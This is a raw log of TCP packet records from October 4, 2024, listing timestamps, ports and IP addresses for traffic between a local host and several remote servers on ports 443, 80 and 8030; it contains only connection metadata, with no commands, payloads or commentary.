Oct 4, 2024 04:27:52.164196014 CEST	443	49730	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:52.166286945 CEST	49730	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:52.166346073 CEST	49730	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:52.166351080 CEST	443	49730	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:52.166485071 CEST	49730	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:52.211409092 CEST	443	49730	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:52.342504978 CEST	443	49730	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:52.342684031 CEST	443	49730	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:52.342735052 CEST	49730	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:52.342865944 CEST	49730	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:52.342880964 CEST	443	49730	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:55.115045071 CEST	49731	443	192.168.2.6	108.181.20.39
Oct 4, 2024 04:27:55.115087986 CEST	443	49731	108.181.20.39	192.168.2.6
Oct 4, 2024 04:27:55.115160942 CEST	49731	443	192.168.2.6	108.181.20.39
Oct 4, 2024 04:27:55.116861105 CEST	49731	443	192.168.2.6	108.181.20.39
Oct 4, 2024 04:27:55.116875887 CEST	443	49731	108.181.20.39	192.168.2.6
Oct 4, 2024 04:27:55.867360115 CEST	443	49731	108.181.20.39	192.168.2.6
Oct 4, 2024 04:27:55.867676020 CEST	49731	443	192.168.2.6	108.181.20.39
Oct 4, 2024 04:27:55.867698908 CEST	443	49731	108.181.20.39	192.168.2.6
Oct 4, 2024 04:27:55.868999958 CEST	443	49731	108.181.20.39	192.168.2.6
Oct 4, 2024 04:27:55.869079113 CEST	49731	443	192.168.2.6	108.181.20.39
Oct 4, 2024 04:27:55.870100021 CEST	49731	443	192.168.2.6	108.181.20.39
Oct 4, 2024 04:27:55.870197058 CEST	443	49731	108.181.20.39	192.168.2.6
Oct 4, 2024 04:27:55.870357037 CEST	49731	443	192.168.2.6	108.181.20.39
Oct 4, 2024 04:27:55.870367050 CEST	443	49731	108.181.20.39	192.168.2.6
Oct 4, 2024 04:27:55.920600891 CEST	49731	443	192.168.2.6	108.181.20.39
Oct 4, 2024 04:27:56.154836893 CEST	443	49731	108.181.20.39	192.168.2.6
Oct 4, 2024 04:27:56.154942989 CEST	443	49731	108.181.20.39	192.168.2.6
Oct 4, 2024 04:27:56.154997110 CEST	49731	443	192.168.2.6	108.181.20.39
Oct 4, 2024 04:27:56.165735960 CEST	49731	443	192.168.2.6	108.181.20.39
Oct 4, 2024 04:27:56.165775061 CEST	443	49731	108.181.20.39	192.168.2.6
Oct 4, 2024 04:27:58.449574947 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:58.454324961 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:58.454454899 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:58.454994917 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:58.459726095 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.113898039 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.114010096 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.114021063 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.114304066 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.114314079 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.114324093 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.114336014 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.114547968 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.114989042 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.115000010 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.115009069 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.115103006 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.115103006 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.119355917 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.119452953 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.119463921 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.121112108 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.206984997 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.207060099 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.207139969 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.207359076 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.207370043 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.207380056 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.207411051 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.207463980 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.207463980 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.207767963 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.207942963 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.207953930 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.208190918 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.208323002 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.208345890 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.208355904 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.208357096 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.208394051 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.208749056 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.208859921 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.208978891 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.208990097 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.209012985 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.209250927 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.209261894 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.209285975 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.209697008 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.209731102 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.209775925 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.209788084 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.209858894 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.209860086 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.210035086 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.212240934 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.212330103 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.219172955 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.299709082 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.299825907 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.299834967 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.300040007 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.300050974 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.300301075 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.300332069 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.300441980 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.300638914 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.300649881 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.300662041 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.300684929 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.300720930 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.300720930 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.301058054 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.301233053 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.301244020 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.301635981 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.301647902 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.301841974 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.301852942 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.301863909 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.301871061 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.301876068 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.301898003 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.302524090 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.302536011 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.302547932 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.302556038 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.302584887 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.303088903 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.303100109 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.303109884 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.303121090 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.303124905 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.303152084 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.303435087 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.303802013 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.303813934 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.303823948 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.304352045 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.304363012 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.304373026 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.304383039 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.304385900 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.304393053 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.304409027 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.305383921 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.305394888 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.305406094 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.305414915 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.305416107 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.305427074 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.305438995 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.305449963 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.305449963 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.306323051 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.306334019 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.306344032 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.306353092 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.306777000 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.306786060 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.306811094 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.307430029 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.346996069 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.347049952 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.347059965 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.347074986 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.347124100 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.347256899 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.392457962 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.392486095 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.392524958 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.392535925 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.392579079 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.392632008 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.392643929 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.392683983 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.392846107 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.392868042 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.392911911 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.393075943 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.393086910 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.393096924 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.393107891 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.393115997 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.393120050 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.393167019 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.393676996 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.393687963 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.393698931 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.393708944 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.393718958 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.393719912 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.393744946 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.393770933 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.394258022 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.394360065 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.394368887 CEST	8030	49736	217.160.121.141	192.168.2.6
Oct 4, 2024 04:27:59.394397974 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.442507982 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:27:59.732183933 CEST	49739	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:27:59.732243061 CEST	443	49739	142.250.184.228	192.168.2.6
Oct 4, 2024 04:27:59.732301950 CEST	49739	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:27:59.732551098 CEST	49739	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:27:59.732568979 CEST	443	49739	142.250.184.228	192.168.2.6
Oct 4, 2024 04:27:59.750551939 CEST	49736	8030	192.168.2.6	217.160.121.141
Oct 4, 2024 04:28:00.256841898 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:00.263096094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:00.263176918 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:00.263861895 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:00.270267963 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:00.389126062 CEST	443	49739	142.250.184.228	192.168.2.6
Oct 4, 2024 04:28:00.389328957 CEST	49739	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:28:00.389352083 CEST	443	49739	142.250.184.228	192.168.2.6
Oct 4, 2024 04:28:00.390830994 CEST	443	49739	142.250.184.228	192.168.2.6
Oct 4, 2024 04:28:00.390881062 CEST	49739	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:28:00.391737938 CEST	49739	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:28:00.391823053 CEST	443	49739	142.250.184.228	192.168.2.6
Oct 4, 2024 04:28:00.436749935 CEST	49739	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:28:00.436762094 CEST	443	49739	142.250.184.228	192.168.2.6
Oct 4, 2024 04:28:00.477313995 CEST	49739	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:28:02.056649923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.056673050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.056680918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.056741953 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.056768894 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.056778908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.056792021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.056794882 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.056801081 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.056849957 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.056849957 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.057065010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.057075024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.057084084 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.057116985 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.057172060 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.061738014 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.061748028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.061757088 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.061824083 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.061824083 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.149102926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.149135113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.149144888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.149209976 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.149209976 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.149324894 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.149692059 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.333693981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.333755016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.333764076 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.333765030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.333805084 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.333885908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.333898067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.333937883 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.334069967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.334248066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.334388971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.334459066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.334477901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.334486961 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.334580898 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.334749937 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.334841967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.334847927 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.334852934 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.334888935 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.335007906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.335069895 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.335297108 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.335361958 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.335369110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.335378885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.335410118 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.335556984 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.335643053 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.335655928 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.335766077 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.336107016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.336191893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.336203098 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.336225033 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.336241007 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.336391926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.336402893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.336468935 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.336468935 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.336960077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.336998940 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.337032080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.337043047 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.337075949 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.337213993 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.337264061 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.338541031 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.338576078 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.338618994 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.338634968 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.426035881 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.426060915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.426069975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.426130056 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.426177979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.426186085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.426187038 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.426235914 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.426326990 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.426337957 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.426480055 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.426496983 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.426527977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.426531076 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.426599979 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.426687956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.426697969 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.426707029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.426778078 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.426778078 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.426925898 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.427018881 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.619707108 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.619760990 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.619771004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.619812012 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.619812012 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.619856119 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.619867086 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.620001078 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.620091915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.620101929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.620112896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.620156050 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.620156050 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.620254040 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.620264053 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.620273113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.620326996 CEST	49740	80	192.168.2.6	172.67.159.45
